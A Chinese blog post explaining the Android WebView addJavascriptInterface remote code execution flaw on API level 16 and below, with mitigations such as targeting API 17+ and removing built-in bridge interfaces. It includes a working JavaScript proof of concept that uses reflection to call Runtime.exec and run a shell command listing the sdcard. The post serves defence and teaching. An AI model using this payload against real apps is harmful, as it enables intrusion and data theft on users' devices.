美文网首页
android 安全防护之webview远程注入

android 安全防护之webview远程注入

作者: Dirtykk | 来源:发表于2019-08-02 12:42 被阅读0次

Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序使用WebView.addJavascriptInterface可以实现网页JS与本地JAVA的交互,但是没有限制已注册JAVA类的方法调用,类中的任何public函数都可以在JS代码中访问,这就导致可以调用getClass通过java反射机制来执行任意Java对象的方法。

例如:利用addJavascriptInterface方法注册可供JavaScript调用的java对象“injectedObj”,利用反射机制调用Android API getRuntime执行shell命令:

java代码:

WebView webView1 = (WebView)findViewById(R.id.webView1);

JavaScriptInterface myJavaScriptInterface = new JavaScriptInterface();

webView1.addJavascriptInterface(myJavaScriptInterface,"injectedObj");

webView1.loadUrl("http://www.example.com");

js代码:

<html>

<body>

<script>

function execute(cmdArgs) {

return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);

document.write(getContents(res.getInputStream()));

</script>

</body>

</html>

    建议有以下几种方法可以避免这种情况的发生

        (1)避免调用addJavascriptInterface()方法,或者将API等级设为17或者更高级别,对于这些API等级,只有被标注了JavascriptInterface的公共方法才可以从JavaScript访问。

(2)webview组件会默认内置一个searchBoxJavaBridge_接口,故需要使用removeJavascriptInterface移除searchBoxJavaBridge_。

(3)调用了Android/webkit/AccessibilityInjector组件的应用在开启辅助功能选项中第三方服务的安卓系统会默认添加accessibility和accessibilityTraversal接口,同样需要使用removeJavascriptInterface进行移除。

  废话不多说  直接上代码示例

示例1 实例2

   

相关文章

  • android 安全防护之webview远程注入

    Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序使用WebView....

  • 面试问题

    1.https 对称加密2.图片缓存失效3.webview 安全漏洞 Android WebView的Js对象注入...

  • 移动端Web开发调试之Chrome远程调试

    android远程实时更新webview界面: 步骤一:android应用内webview设置属性 步骤二:谷歌浏...

  • Webview面试详解

    一.Webview常见的一些坑 1.android API level 16以及之前的版本存在远程代码执行安全...

  • Android WebView注入js方式总结

    Android WebView注入js方式总结 第一种 通过webview.loadUrl("javascript...

  • Webview面试详解

    一.Webview常见的一些坑 1.Android API level 16以及之前的版本存在远程代码执行安全漏洞...

  • Android webview-tips

    webview优化 Android学习之 WebView使用小结 Android 各个版本WebView 移动前端...

  • MyBatis 防止sql注入攻击

    Sql注入攻击 SQL注入攻击属于[数据库安全]攻击手段之一,可以通过[数据库安全]防护技术实现有效防护,数据库安...

  • WebView安全漏洞

    一:WebView常见的一些坑1:Android API Level16以及之前的版本存在远程代码执行安全漏洞,没...

  • WebView

    1.webView常见的一些坑 1.Android API level 16以及之前的版本存在远程代码执行安全漏洞...

网友评论

      本文标题:android 安全防护之webview远程注入

      本文链接:https://www.haomeiwen.com/subject/vpqldctx.html